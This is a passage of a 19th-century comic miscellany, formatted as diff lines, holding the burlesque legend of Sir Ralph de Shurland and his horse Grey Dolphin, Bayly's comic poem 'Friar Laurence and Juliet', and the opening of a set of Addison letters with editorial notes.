+The vassals were assembled in the great hall of Shurland Castle; every
+cheek was pale, every tongue was mute, expectation and perplexity were
+visible on every brow. What would his lordship do? Were the recusant
+anybody else, gyves to the heels and hemp to the throat were but too
+good for him: but it was Father Fothergill who had said "I won't;" and,
+though the Baron was a very great man, the Pope was a greater, and the
+Pope was Father Fothergill's great friend--some people said he was his
+uncle.
+
+Father Fothergill was busy in the refectory trying conclusions with a
+venison pasty, when he received the summons of his patron to attend him
+in the chapel cemetery. Of course he lost no time in obeying it, for
+obedience was the general rule in Shurland Castle. If anybody ever said
+"I won't," it was the exception; and, like all other exceptions, only
+proved the rule the stronger. The Father was a friar of the Augustine
+persuasion; a brotherhood which, having been planted in Kent some few
+centuries earlier, had taken very kindly to the soil, and overspread
+the county much as hops did some few centuries later. He was plump and
+portly, a little thick-winded, especially after dinner, stood five
+feet four in his sandals, and weighed hard upon eighteen stone. He was
+moreover a personage of singular piety; and the iron girdle, which, he
+said, he wore under his cassock to mortify withal, might have been well
+mistaken for the tire of a cart-wheel. When he arrived, Sir Ralph was
+pacing up and down by the side of a newly-opened grave.
+
+"_Benedicite!_ fair son,"--(the Baron was as brown as a cigar,)
+--"_Benedicite!_" said the chaplain.
+
+The Baron was too angry to stand upon compliment.--"Bury me that
+grinning caitiff there!" quoth he, pointing to the defunct.
+
+"It may not be, fair son," said the Friar; "he hath perished without
+absolution."
+
+"Bury the body!" roared Sir Ralph.
+
+"Water and earth alike reject him," returned the chaplain; "holy St.
+Bridget herself----"
+
+"Bridget me no Bridgets! do me thine office quickly, Sir Shaveling;
+or, by the piper that played before Moses!----" The oath was a fearful
+one; and whenever the Baron swore to do mischief, he was never known
+to perjure himself. He was playing with the hilt of his sword.--"Do me
+thine office, I say. Give him his passport to heaven!"
+
+"He is already gone to hell!" stammered the friar.
+
+"Then do you go after him!" thundered the Lord of Shurland.
+
+His sword half leaped from its scabbard. No!--the trenchant blade that
+had cut Suleiman Ben Malek Ben Buckskin from helmet to chine disdained
+to daub itself with the cerebellum of a miserable monk: it leaped back
+again; and as the chaplain, scared at its flash, turned him in terror,
+the Baron gave him a kick!--one kick!--it was but one!--but such a one!
+Despite its obesity, up flew his holy body in an angle of forty-five
+degrees; then, having reached its highest point of elevation, sunk
+headlong into the open grave that yawned to receive it. If the reverend
+gentleman had possessed a neck, he had infallibly broken it; as he did
+not, he only dislocated his vertebræ,--but that did quite as well. He
+was as dead as ditch-water.
+
+"In with the other rascal!" said the Baron, and he was obeyed; for
+there he stood in his boots. Mattock and shovel made short work of it;
+twenty feet of superincumbent mould pressed down alike the saint and the
+sinner. "Now sing a requiem who list!" said the Baron, and his lordship
+went back to his oysters.
+
+The vassals at Castle Shurland were astounded, or, as the seneschal Hugh
+better expressed it, "perfectly conglomerated," by this event. What!
+murder a monk in the odour of sanctity,--and on consecrated ground too!
+They trembled for the health of the Baron's soul. To the unsophisticated
+many it seemed that matters could not have been much worse had he shot
+a bishop's coach-horse;--all looked for some signal judgment. The
+melancholy catastrophe of their neighbours at Canterbury was yet rife
+in their memories: not two centuries had elapsed since those miserable
+sinners had cut off the tail of St. Thomas's mule. The tail of the mule,
+it was well known, had been forthwith affixed to that of the mayor; and
+rumour said it had since been hereditary in the corporation. The least
+that could be expected was, that Sir Ralph should have a friar tacked
+on to his for the term of his natural life! Some bolder spirits there
+were, 'tis true, who viewed the matter in various lights, according to
+their different temperaments and dispositions; for perfect unanimity
+existed not even in the good old times. The verderer, roistering Hob
+Roebuck, swore roundly, "'Twere as good a deed as eat to kick down the
+chapel as well as the monk."--Hob had stood there in a white sheet for
+kissing Giles Miller's daughter.--On the other hand, Simpkin Agnew,
+the bell-ringer, doubted if the devil's cellar, which runs under the
+bottomless abyss, were quite deep enough for the delinquent, and
+speculated on the probability of a hole being dug in it for his especial
+accommodation. The philosophers and economists thought with Saunders
+M'Bullock, the Baron's bagpiper, that "a feckless monk more or less
+was nae great subject for a clamjamphry," especially as "the supply
+considerably exceeded the demand;" while Malthouse, the tapster, was
+arguing to Dame Martin that a murder now and then was a seasonable
+check to population, without which the Isle of Sheppey would in time be
+devoured, like a mouldy cheese, by inhabitants of its own producing.
+Meanwhile, the Baron ate his oysters, and thought no more of the matter.
+
+But this tranquillity of his lordship was not to last. A couple of
+Saints had been seriously offended; and we have all of us read at school
+that celestial minds are by no means insensible to the provocations of
+anger. There were those who expected that St. Bridget would come in
+person, and have the friar up again as she did the sailor; but perhaps
+her ladyship did not care to trust herself within the walls of Shurland
+Castle. To say the truth, it was scarcely a decent house for a female
+Saint to be seen in. The Baron's gallantries, since he became a widower,
+had been but too notorious; and her own reputation was a little blown
+upon in the earlier days of her earthly pilgrimage: then things were so
+apt to be misrepresented: in short, she would leave the whole affair
+to St. Austin, who, being a gentleman, could interfere with propriety,
+avenge her affront as well as his own, and leave no loop-hole for
+scandal. St. Austin himself seems to have had his scruples, though
+of their precise nature it were difficult to determine, for it were
+idle to suppose him at all afraid of the Baron's boots. Be this as it
+may, the mode which he adopted was at once prudent and efficacious. As
+an ecclesiastic, he could not well call the Baron out, had his boots
+been out of the question; so he resolved to have recourse to the law.
+Instead of Shurland Castle, therefore, he repaired forthwith to his own
+magnificent monastery, situate just without the walls of Canterbury,
+and presented himself in a vision to its abbot. No one who has ever
+visited that ancient city can fail to recollect the splendid gateway
+which terminates the vista of St. Paul's street, and stands there yet
+in all its pristine beauty. The tiny train of miniature artillery which
+now adorns its battlements is, it is true, an ornament of a later date;
+and is said to have been added some centuries after by some learned
+but jealous proprietor, for the purpose of shooting any wiser man than
+himself who might chance to come that way. Tradition is silent as to any
+discharge having taken place, nor can the oldest inhabitant of modern
+days recollect any such occurrence. Here it was, in a handsome chamber,
+immediately over the lofty archway, that the superior of the monastery
+lay buried in a brief slumber snatched from his accustomed vigils. His
+mitre--for he was a mitred abbot, and had a seat in parliament--rested
+on a table beside him; near it stood a silver flagon of Gascony wine,
+ready, no doubt, for the pious uses of the morrow. Fasting and watching
+had made him more than usually somnolent, than which nothing could
+have been better for the purpose of the Saint, who now appeared to him
+radiant in all the colours of the rainbow.
+
+"Anselm!"--said the beatific vision,--"Anselm! are you not a pretty
+fellow to lie snoring there, when your brethren are being knocked at
+head, and Mother Church herself is menaced! It is a sin and a shame,
+Anselm!"
+
+"What's the matter?--Who are you?" cried the Abbot, rubbing his eyes,
+which the celestial splendour of his visiter had set a-winking. "Ave
+Maria! St. Austin himself!--Speak, _Beatissime_! what would you with the
+humblest of your votaries?"
+
+"Anselm!" said the Saint, "a brother of our order, whose soul Heaven
+assoilzie! hath been foully murdered. He hath been ignominiously kicked
+to the death, Anselm; and there he lieth cheek-by-jowl with a wretched
+carcass, which our sister Bridget has turned out of her cemetery for
+unseemly grinning. Arouse thee, Anselm!"
+
+"Ay, so please you, _Sanctissime_!" said the Abbot: "I will order
+forthwith that thirty masses be said, thirty _Paters_, and thirty
+_Aves_."
+
+"Thirty fools' heads!" interrupted his patron, who was a little peppery.
+
+"I will send for bell, book, and candle."
+
+"Send for an inkhorn, Anselm. Write me now a letter to his Holiness the
+Pope in good round terms, and another to the coroner, and another to
+the sheriff and seize me the never-enough-to-be-anathematised villain
+who hath done this deed! Hang him as high as Haman, Anselm!--up with
+him!--down with his dwelling-place, root and branch, hearth-stone and
+roof-tree,--down with it all, and sow the site with salt and sawdust!"
+
+St. Austin, it will be perceived, was a radical reformer.
+
+"Marry will I," quoth the Abbot, warming with the Saint's eloquence;
+"ay, marry will I, and that _instanter_. But there is one thing you have
+forgotten, most Beatified--the name of the culprit."
+
+"Ralph de Shurland."
+
+"The Lord of Sheppey! Bless me!" said the Abbot, crossing himself,
+"won't that be rather inconvenient? Sir Ralph is a bold baron and a
+powerful; blows will come and go, and crowns will be cracked, and----"
+
+"What is that to you, since yours will not be of the number?"
+
+"Very true, _Beatissime_! I will don me with speed, and do your bidding."
+
+"Do so, Anselm!--fail not to hang the baron, burn his castle, confiscate
+his estate, and buy me two large wax-candles for my own particular
+shrine out of your share of the property."
+
+With this solemn injunction the vision began to fade.
+
+"One thing more!" cried the Abbot, grasping his rosary.
+
+"What is that?" asked the Saint.
+
+"_O Beate Augustine, ora pro nobis!_"
+
+"Of course I shall," said St. Austin. "_Pax vobiscum!_"--and Abbot
+Anselm was left alone.
+
+Within an hour all Canterbury was in commotion. A friar had been
+murdered,--two friars--ten--twenty; a whole convent had been
+assaulted,--sacked,--burnt,--all the monks had been killed, and all
+the nuns had been kissed! Murder!--fire!--sacrilege! Never was city in
+such an uproar. From St. George's gate to St. Dunstan's suburb, from
+the Donjon to the borough of Staplegate, all was noise and hubbub.
+"Where was it?"--"When was it?"--"How was it?" The Mayor caught up his
+chain, the Aldermen donned their furred gowns, the Town-clerk put on his
+spectacles. "Who was he?"--"What was he?"--"Where was he?"--he should
+be hanged,--he should be burned,--he should be broiled,--he should be
+fried,--he should be scraped to death with red-hot oyster-shells! "Who
+was he?"--"What was his name?"
+
+The abbot's Apparitor drew forth his roll and read aloud: "Sir Ralph de
+Shurland, Knight banneret, Baron of Shurland and Minster, and Lord of
+Sheppey."
+
+The Mayor put his chain in his pocket, the Aldermen took off their
+gowns, the Town-clerk put his pen behind his ear,--It was a county
+business altogether: the Sheriff had better call out the _posse
+comitatus_.
+
+While saints and sinners were thus leaguing against him, the Baron de
+Shurland was quietly eating his breakfast. He had passed a tranquil
+night, undisturbed by dreams of cowl or capuchin; nor was his appetite
+more affected than his conscience. On the contrary, he sat rather
+longer over his meal than usual; luncheon-time came, and he was ready
+as ever for his oysters; but scarcely had Dame Martin opened his first
+half-dozen when the warder's horn was heard from the barbican.
+
+"Who the devil's that?" said Sir Ralph. "I'm not at home, Periwinkle. I
+hate to be disturbed at meals, and I won't be at home to anybody."
+
+"An't please your lordship," answered the seneschal, "Paul Prior hath
+given notice that there is a body----"
+
+"Another body!" roared the Baron. "Am I to be everlastingly plagued with
+bodies? No time allowed me to swallow a morsel. Throw it into the moat!"
+
+"So please you, my lord, it is a body of horse,--and--and Paul says
+there is a still larger body of foot behind it; and he thinks, my
+lord,--that is, he does not know, but he thinks--and we all think, my
+lord, that they are coming to--to besiege the castle!"
+
+"Besiege the castle! Who? What? What for?"
+
+"Paul says, my lord, that he can see the banner of St. Austin, and the
+bleeding heart of Hamo de Crevecoeur, the abbot's chief vassal; and
+there is John de Northwood, the sheriff, with his red-cross engrailed;
+and Hever, and Leybourne, and Heaven knows how many more; and they are
+all coming on as fast as ever they can."
+
+"Periwinkle," said the Baron, "up with the drawbridge; down with the
+portcullis; bring me a cup of canary, and my night-cap. I won't be
+bothered with them. I shall go to bed."
+
+"To bed, my lord!" cried Periwinkle, with a look that seemed to say,
+"He's crazy."
+
+At this moment the shrill tones of a trumpet were heard to sound thrice
+from the champaign. It was the signal for parley: the Baron changed his
+mind; instead of going to bed, he went to the ramparts.
+
+"Well, rapscallions! and what now?" said the Baron.
+
+A herald, two pursuivants, and a trumpeter, occupied the foreground of
+the scene; behind them, some three hundred paces off, upon a rising
+ground, was drawn up in battle-array the main body of the ecclesiastical
+forces.
+
+"Hear you, Ralph de Shurland, Knight, Baron of Shurland and Minster, and
+Lord of Sheppey, and know all men, by these presents, that I do hereby
+attach you, the said Ralph, of murder and sacrilege, now, or of late,
+done and committed by you, the said Ralph, contrary to the peace of our
+Sovereign Lord the King, his crown and dignity: and I do hereby require
+and charge you, the said Ralph, to forthwith surrender and give up your
+own proper person, together with the castle of Shurland aforesaid, in
+order that the same may be duly dealt with according to law. And here
+standeth John de Northwood, Esquire, good man and true, sheriff of this
+his majesty's most loyal county of Kent, to enforce the same, if need
+be, with his _posse comitatus_."
+
+"His what?" said the Baron.
+
+"His _posse comitatus_, and----"
+
+"Go to Bath!" said the Baron.
+
+A defiance so contemptuous roused the ire of the adverse commanders.
+A volley of missiles rattled about the Baron's ears. Night-caps avail
+little against contusions. He left the walls, and returned to the great
+hall.
+
+"Let them pelt away," quoth the Baron; "there are no windows to break,
+and they can't get in." So he took his afternoon nap, and the siege went
+on.
+
+Towards evening his lordship awoke, and grew tired of the din. Guy
+Pearson, too, had got a black eye from a brick-bat, and the assailants
+were clambering over the outer wall. So the Baron called for his Sunday
+hauberk of Milan steel, and his great two-handed sword with the terrible
+name:--it was the fashion in feudal times to give names to swords; King
+Arthur's was christened Excalibar; the Baron called his Tickletoby, and
+whenever he took it in hand it was no joke.
+
+"Up with the portcullis! down with the bridge!" said Sir Ralph; and out
+he sallied, followed by the _élite_ of his retainers. Then there was
+a pretty to-do. Heads flew one way--arms and legs another; round went
+Tickletoby, and, wherever it alighted, down came horse and man: the
+Baron excelled himself that day. All that he had done in Palestine faded
+in the comparison; he had fought for fun there, but now it was for life
+and lands. Away went John de Northwood; away went William of Hever, and
+Roger of Leybourne. Hamo de Crevecoeur, with the church vassals and
+the banner of St. Austin, had been gone some time. The siege was raised,
+and the Lord of Sheppey left alone in his glory.
+
+But, brave as the Baron undoubtedly was, and total as had been the
+defeat of his enemies, it cannot be supposed that _La Stoccata_ would
+be allowed to carry it away thus. It has before been hinted that Abbot
+Anselm had written to the Pope, and Boniface the Eighth piqued himself
+on his punctuality as a correspondent in all matters connected with
+church discipline. He sent back an answer by return of post; and by it
+all Christian people were strictly enjoined to aid in exterminating the
+offender, on pain of the greater excommunication in this world, and a
+million of years of purgatory in the next. But then, again, Boniface the
+Eighth was rather at a discount in England just then. He had affronted
+Longshanks, as the loyal lieges had nicknamed their monarch; and
+Longshanks had been rather sharp upon the clergy in consequence. If the
+Baron de Shurland could but get the King's pardon for what in his cooler
+moments he admitted to be a peccadillo, he might sniff at the Pope, and
+bid him "do his devilmost."
+
+Fortune, who, as the poet says, delights to favour the bold, stood his
+friend on this occasion. Edward had been, for some time, collecting a
+large force on the coast of Kent, to carry on his French wars for the
+recovery of Guienne; he was expected shortly to review it in person;
+but, then, the troops lay principally in cantonments about the mouth of
+the Thames, and his majesty was to come down by water. What was to be
+done?--the royal barge was in sight, and John de Northwood and Hamo de
+Crevecoeur had broken up all the boats to boil their camp-kettles. A
+truly great mind is never without resources.
+
+"Bring me my boots!" said the Baron.
+
+They brought him his boots, and his dapple-grey steed along with them.
+Such a courser! all blood and bone, short-backed, broad-chested, and,
+but that he was a little ewe-necked, faultless in form and figure. The
+Baron sprang upon his back, and dashed at once into the river.
+
+The barge which carried Edward Longshanks and his fortunes had by this
+time nearly reached the Nore; the stream was broad and the current
+strong, but Sir Ralph and his steed were almost as broad, and stronger.
+After breasting the tide gallantly for a couple of miles, the Knight was
+near enough to hail the steersman.
+
+"What have we got here?" said the king. "It's a mermaid," said one.
+"It's a grampus," said another. "It's the devil," said a third. But they
+were all wrong; it was only Ralph de Shurland. "Grammercy," quoth the
+king, "that fellow was never born to be drowned!"
+
+It has been said before that the Baron had fought in the holy wars; in
+fact, he had accompanied Longshanks, when only heir-apparent, in his
+expedition twenty-five years before, although his name is unaccountably
+omitted by Sir Harris Nicolas in his list of crusaders. He had been
+present at Acre when Amirand of Joppa stabbed the prince with a
+poisoned dagger, and had lent Princess Eleanor his own toothbrush after
+she had sucked out the venom from the wound. He had slain certain
+Saracens, contented himself with his own plunder, and never dunned the
+commissariat for arrears of pay. Of course he ranked high in Edward's
+good graces, and had received the honour of knighthood at his hands on
+the field of battle.
+
+In one so circumstanced it cannot be supposed that such a trifle as the
+killing a frowzy friar would be much resented, even had he not taken
+so bold a measure to obtain his pardon. His petition was granted, of
+course, as soon as asked; and so it would have been had the indictment
+drawn up by the Canterbury town-clerk, viz. "That he, the said Ralph de
+Shurland, &c. had then and there, with several, to wit, one thousand,
+pair of boots, given sundry, to wit, two thousand, kicks, and therewith
+and thereby killed divers, to wit, ten thousand, Austin friars," been
+true to the letter.
+
+Thrice did the gallant Grey circumnavigate the barge, while Robert
+de Winchelsey, the chancellor, and archbishop to boot, was making
+out, albeit with great reluctance, the royal pardon. The interval was
+sufficiently long to enable his majesty, who, gracious as he was, had
+always an eye to business, just to hint that the gratitude he felt
+towards the Baron was not unmixed with a lively sense of services to
+come; and that, if life was now spared him, common decency must oblige
+him to make himself useful. Before the archbishop, who had scalded his
+fingers with the wax in affixing the great seal, had time to take them
+out of his mouth, all was settled, and the Baron de Shurland, _cum
+suis_, had pledged himself to be forthwith in readiness to accompany his
+liege lord to Guienne.
+
+With the royal pardon secured in his vest, boldly did his lordship turn
+again to the shore; and as boldly did his courser oppose his breadth of
+chest to the stream. It was a work of no common difficulty or danger; a
+steed of less "mettle and bone" had long since sunk in the effort: as it
+was, the Baron's boots were full of water, and Grey Dolphin's chamfrain
+more than once dipped beneath the wave. The convulsive snorts of the
+noble animal showed his distress; each instant they became more loud
+and frequent; when his hoof touched the strand, and "the horse and his
+rider" stood again in safety on the shore.
+
+Rapidly dismounting, the Baron was loosening the girths of his
+demi-pique, to give the panting animal breath, when he was aware of as
+ugly an old woman as he ever clapped eyes upon, peeping at him under the
+horse's belly.
+
+"Make much of your steed, Ralph Shurland! Make much of your steed!"
+cried the hag, shaking at him her long and bony finger. "Groom to the
+hide, and corn to the manger. He has saved your life, Ralph Shurland,
+for the nonce; but he shall yet be the means of your losing it, for all
+that!"
+
+The Baron started: "What's that you say, you old faggot?" He ran round
+by his horse's tail; the women was gone!
+
+The Baron paused; his great soul was not to be shaken by trifles; he
+looked around him, and solemnly ejaculated the word "Humbug!" then,
+slinging the bridle across his arm, walked slowly on in the direction of
+the castle.
+
+The appearance, and still more, the disappearance of the crone,
+had however made an impression; every step he took he became more
+thoughtful. "'Twould be deuced provoking though, if he _should_ break my
+neck after all!" He turned, and gazed at Dolphin with the scrutinizing
+eye of a veterinary surgeon.--"I'll be shot if he is not groggy!" said
+the Baron.
+
+With his lordship, like another great Commander, "Once to be in doubt,
+was once to be resolved:" it would never do to go to the wars on a
+rickety prad. He dropped the rein, drew forth Tickletoby, and, as the
+enfranchised Dolphin, good easy horse, stretched out his ewe-neck to the
+herbage, struck off his head at a single blow. "There, you lying old
+beldame!" said the Baron; "now take him away to the knackers."
+
+       *       *       *       *       *
+
+Three years were come and gone. King Edward's French wars were over;
+both parties, having fought till they came to a stand-still, shook
+hands; and the quarrel, as usual, was patched up by a royal marriage.
+This happy event gave his majesty leisure to turn his attention to
+Scotland, where things, through the intervention of William Wallace,
+were looking rather queerish. As his reconciliation with Philip now
+allowed of his fighting the Scotch in peace and quietness, the monarch
+lost no time in marching his long legs across the border, and the short
+ones of the Baron followed him of course. At Falkirk, Tickletoby was in
+great request; and, in the year following, we find a contemporary poet
+hinting at its master's prowess under the walls of Caerlaverock,
+
+    Obec eus fu achiminez
+    Li beau Rafe de Shurlande
+    Ki kant seoit sur le cheval
+    Ne sembloit home le someille.
+
+A quatrain which Mr. Simpkinson translates,
+
+    "With them was marching
+    The good Ralph de Shurland,
+    Who, when seated on horseback,
+    Does not resemble a man asleep!"
+
+So thoroughly awake, indeed, does he seem to have proved himself, that
+the bard subsequently exclaims, in an ecstasy of admiration,
+
+    Si ie estoie une pucellette
+    Je li donroie ceur et cors
+    Tant est de lu bons lí recors.
+
+    "If I were a young maiden,
+    I would give him my heart and person,
+    So great is his fame!"
+
+Fortunately the poet was a tough old monk of Exeter; since such a
+present to a nobleman, now in his grand climacteric, would hardly have
+been worth the carriage. With the reduction of this stronghold of the
+Maxwells seem to have concluded the Baron's military services; as on
+the very first day of the fourteenth century we find him once more
+landed on his native shore, and marching, with such of his retainers
+as the wars had left him, towards the hospitable shelter of Shurland
+Castle. It was then, upon that very beach, some hundred yards distant
+from high-water mark, that his eye fell upon something like an ugly
+old woman in a red cloak. She was seated on what seemed to be a large
+stone, in an interesting attitude, with her elbows resting upon her
+knees and her chin upon her thumbs. The Baron started: the remembrance
+of his interview with a similar personage in the same place, some three
+years since, flashed upon his recollection. He rushed towards the spot,
+but the form was gone; nothing remained but the seat it had appeared
+to occupy. This, on examination, turned out to be no stone, but the
+whitened skull of a dead horse. A tender remembrance of the deceased
+Grey Dolphin shot a momentary pang into the Baron's bosom; he drew the
+back of his hand across his face; the thought of the hag's prediction
+in an instant rose, and banished all softer emotions. In utter contempt
+of his own weakness, yet with a tremor that deprived his redoubtable
+kick of half its wonted force, he spurned the relic with his foot. One
+word alone issued from his lips elucidatory of what was passing in
+his mind,--it long remained imprinted on the memory of his faithful
+followers,--that word was "Gammon!" The skull bounded across the beach
+till it reached the very margin of the stream;--one instant more, and
+it would be engulfed for ever. At that moment a loud "Ha! ha! ha!" was
+distinctly heard by the whole train to issue from its bleached and
+toothless jaws: it sank beneath the flood in a horse-laugh!
+
+Meanwhile Sir Ralph de Shurland felt an odd sort of sensation in his
+right foot. His boots had suffered in the wars. Great pains had been
+taken for their preservation. They had been "soled" and "heeled" more
+than once;--had they been "galoshed," their owner might have defied
+Fate! Well has it been said that "there is no such thing as a trifle."
+A nobleman's life depended upon a question of ninepence.
+
+The Baron marched on; the uneasiness in his foot increased. He plucked
+off his boot; a horse's tooth was sticking in his great toe!
+
+The result may be anticipated. Lame as he was, his lordship, with
+characteristic decision would hobble on to Shurland; his walk increased
+the inflammation; a flagon of _aqua vitæ_ did not mend matters. He was
+in a high fever; he took to his bed. Next morning the toe presented the
+appearance of a Bedfordshire carrot; by dinner-time it had deepened
+to beetroot; and when Bargrave, the leech, at last sliced it off, the
+gangrene was too confirmed to admit of remedy. Dame Martin thought it
+high time to send for Miss Margaret, who, ever since her mother's death,
+had been living with her maternal aunt, the abbess, in the Ursuline
+convent of Greenwich. The young lady came, and with her came one Master
+Ingoldsby, her cousin-german by the mother's side; but the Baron was
+too far gone in the deadthraw to recognise either. He died as he lived,
+unconquered and unconquerable. His last words were--"Tell the old hag
+to go to ----." Whither remains a secret. He expired without fully
+articulating the place of her destination.
+
+But who and what was the crone who prophesied the catastrophe? Ay,
+"that is the mystery of this wonderful history."--Some said it was Dame
+Fothergill, the late confessor's mamma; others, St. Bridget herself;
+others thought it was nobody at all, but only a phantom conjured up by
+Conscience. As we do not know, we decline giving an opinion.
+
+And what became of the Clerk of Chatham? Mr. Simpkinson avers than he
+lived to a good old age, and was at last hanged by Jack Cade, with his
+inkhorn about his neck, for "setting boys copies." In support of this
+he adduces his name "Emanuel," and refers to the historian Shakspeare.
+Mr. Peters, on the contrary, considers this to be what he calls one of
+Mr. Simpkinson's "Anacreonisms," inasmuch as, at the introduction of Mr.
+Cade's reform measure, the clerk would have been hard upon two hundred
+years old. The probability is, that the unfortunate alluded to was his
+great-grandson.
+
+Margaret Shurland in due course became Margaret Ingoldsby, her portrait
+still hangs in the gallery at Tappington. The features are handsome, but
+shrewish, betraying, as it were, a touch of the old Baron's temperament;
+but we never could learn that she actually kicked her husband. She
+brought him a very pretty fortune in chains, owches, and Saracen
+ear-rings; the barony, being a male fief, reverted to the crown.
+
+In the abbey-church at Minster may yet be seen the tomb of a recumbent
+warrior, clad in the chain-mail of the 13th century. His hands are
+clasped in prayer; his legs, crossed in that position so prized by
+Templars in ancient, and tailors in modern, days, bespeak him a soldier
+of the Faith in Palestine. Close to his great-toe, lies sculptured in
+bold relief a horse's head; and a respectable elderly lady, as she shows
+the monument, fails not to read her auditors a fine moral lesson on the
+sin of ingratitude, or to claim a sympathising tear to the memory of
+poor "Grey Dolphin!"
+
+
+
+
+      FRIAR LAURENCE AND JULIET.
+        BY THOMAS HAYNES BAYLY.
+
+            _Friar._
+    Who is calling Friar Laurence?
+      --Madam Juliet! how d'ye do?
+    Dear me--talk of the--beg pardon--
+      I've been talking about _you_.
+    Mistress Montagu, they tell me
+      You on Thursday mean to wed!
+    It is strange you never told me
+      That poor Mister M. was dead!
+
+            _Juliet._
+    M.'s alive! yet County Paris
+      I'm to marry, people say!
+    (I shall marry the whole county
+      If I go on in this way:)
+    Once you've wedded me already,
+      If I wed again, you see,
+    Though in _you_ a _little_ error,
+      'Twill be very _big o' me_.
+
+            _Friar._
+    'Pon my life, it's very awkward!
+      I'll on some expedient hit;
+    If you'll find me ready money,
+      I will find you ready wit:
+    I can't let you wed a second
+      Ere I know the first has died;
+    Think of faggots! for such deeds, ma'am,
+      Holy friars have been fried!
+
+            _Juliet._
+    'Tan't my wish, sir, nor intention,--
+      Any scheme of yours I'll hail;
+    To escape from County Paris,
+      Put me in the county jail:
+    Kill me dead! and make me food for
+      Earthworm, viper, toad, or rat;
+    Make a widower of Ro-me-
+      -O,--('twill _hurt_ me to do that!)
+
+            _Friar._
+    If you've really resolution
+      That your life-blood should be spilt,
+    I will save you, for I'll have you
+      Not quite killed, but merely _kilt_:
+    Could you in a vault be buried--
+      Horizontal--in a niche?
+    And of death so good a copy,
+      None could find out which is which?
+
+            _Juliet._
+    I would vault into a vault, sir,
+      With a dead man in his shroud;
+    I'd do any dirty work, sir,
+      Though my family's so proud!
+    I'll do whatsoe'er you bid me,
+      'Till you say I've done enough:
+    Nay, sir, much as I dislike it,
+      I'll take 'poticary's stuff!
+
+            _Friar._
+    Then go home, ma'am, and be merry;
+      Say that Paris you will wed;
+    Tell your nurse you've got a headache,
+      And go quietly to bed:
+    Ask for something warm,--some negus,
+      Grog, or gruel, or egg-flip,
+    Put in this, and then drink quickly,--
+      'Tis so nauseous if you sip.
+
+            _Juliet._
+    Give, oh! give me quick the phial,
+      From the trial I'll not shrink,--
+    Is it shaken when it's taken?
+      Gracious me! it's black as ink!
+    There's no fear, I trust, of failure?--
+      No--I doubt not its effect;
+    From your conversation's _tenor_
+      No base phial I expect.
+
+            _Friar._
+    You will have the bridegroom _follow_,
+      Where he generally _leads_;
+    'Stead of hymeneal flowers,
+      He will wear sepulchral weeds:
+    _I_ to Romeo will quickly
+      Write a letter by the post;
+    He will wake you, and should Paris
+      Meet you,--say you are your ghost!
+
+            _Juliet._
+    'Tis an excellent arrangement,
+      As you bid me I will act;
+    But within the tomb, dear friar,
+      Place a basket nicely pack'd;--
+    Just a loaf, a tongue, a chicken,
+      Port and sherry, and some plums;
+    It will _really_ be a comfort
+      Should I wake e'er Romeo comes!
+
+
+
+
+            CHAPTER IN THE LIFE OF A STATESMAN,
+            BEING INEDITED LETTERS OF ADDISON.
+       NOW FIRST PRINTED FROM THE AUTOGRAPH ORIGINALS.
+
+The following letters, which have never before been published, are
+exceedingly curious, as exhibiting Addison in a new point of view, and
+as displaying traits in that celebrated man's character, differing
+very materially from those which his biographers have recorded. They
+are addressed to Charles Montague, Earl of Halifax, and to Monsieur
+Robethon, secretary to the Elector of Hanover, afterwards George
+the First of England. They represent Addison as eager for place and
+pension, yearning after pecuniary reward, dwelling upon services
+unrequited, urging his utmost interest to procure some new emoluments,
+and discontentedly comparing his own condition with that of other more
+fortunate placemen. Leaving the letters to speak for themselves, it is
+only necessary to add that they are accompanied by a few notes which
+furnish some new data in the family history of the writer.
+
+
+               TO CHARLES MONTAGUE, EARL OF HALIFAX.
+
+                                     Dublin Castle, May 7, 1709.
+            MY LORD,--I am glad of any occasion of paying my
+            duty to your lordship, and therefore cannot but lay
+            hold of this, in transmitting to your lordship our
+            Lord Lieutenant's[71] speech at the opening of the
+            parliament, with a couple of addresses from the House
+            of Commons upon that occasion. Your lordship will see
+            by them that all parties have set out in good-humour,
+            which is entirely owing to his excellency's conduct,
+            who has addressed himself so all sorts of men since
+            his arrival here, with unspeakable application. They
+            were under great apprehensions, at his first coming,
+            that he would drive directly at repealing the Test,
+            and had formed themselves into a very strong body for
+            its defence; but, as their minds are at present pretty
+            quiet upon that head, they appear willing to enter into
+            all other measures that he would have them. Had he
+            proceeded otherwise, it is easie to see that all things
+            would have been thrown into the utmost confusion, and
+            a stop put to all public business. His excellency,
+            however, gains ground daily; and I question not but in
+            a new parliament, where parties are not settled and
+            confirmed, he will be able to lead them into any thing
+            that will be for their real interests and advantage.
+
+            I have the happiness every day to drink
+            your lordship's health in very good wine,[72] and with
+            very honest gentlemen; and am ever, with the greatest
+            respect, my lord, Your lordship's most obedient and
+            most humble servant,
+                                                        J. ADDISON.
+
+[71] Thomas Wharton, Earl of Wharton, appointed Lord Lieutenant of
+Ireland, April 21, 1709. How Addison became the secretary of this
+Verres, as delineated by Swift,--or how Wharton, who professed to think
+virtue to be only a name, and would not have given a guinea as the
+purchase-price of the best reputation, obtained the appointment of the
+Queen's vicegerent in Ireland,--would be matters of perfect astoundment,
+were it not known that Wharton forced himself upon Lord Godolphin, by
+showing him a treasonable letter of that lord's to the abdicated family,
+of which he had contrived to become the possessor. Wharton's vice-regal
+power was but of short duration; he was recalled: Lords Justices were
+appointed in the September of the same year, and Wharton returned to
+England to make a bad use of the letter. Godolphin had, however, been
+too cunning for him, and procured an act of grace in his absence, which
+enabled him to set the vengeance of the Lord Lieutenant at defiance. As
+an apology for Addison's serving under such a man, it may be urged, that
+the acceptance of the office so proffered implied no approbation of his
+crimes; and that a subordinate officer is under no obligation to examine
+the opinions or conduct of those under whom he acts, excepting that he
+may not be made the actual tool of his atrocities or crimes.
+
+[72] Addison's habitual taciturnity and fondness for the bottle are well
+known. There is a story, not yet forgotten, that the profligate Duke of
+Wharton, who was, perhaps, only the reputed or imputed son of this earl,
+afterwards Marquis of Wharton, once at table plied Addison so briskly
+with wine, in order to make him talk, that he could not retain it in his
+stomach. His grace is said to have observed, that "he could get wine,
+but not wit out of him."
+
+
+             TO M. DE ROBETHON, SECRETARY TO THE ELECTOR OF HANOVER.
+
+                                    St. James's, Sept. 4, 1714.
+            SIR,--I have been obliged to so close an attendance
+            on the Lords Justices, and have had so very little
+            time at my own disposal during my absence from their
+            excellencies, that I could not do myself the honour
+            before now, to assure you of my respects, and to
+            beg the continuance of that friendship which you
+            formerly honoured me with, at Hanover.[73] I cannot
+            but extremely rejoice at the occasion, which will give
+            me on opportunity of waiting on you in England, where
+            you will find a whole nation in the highest joy, and
+            thoroughly sensible of the great blessings which they
+            promise themselves from his Majesty's accession to the
+            throne.
+
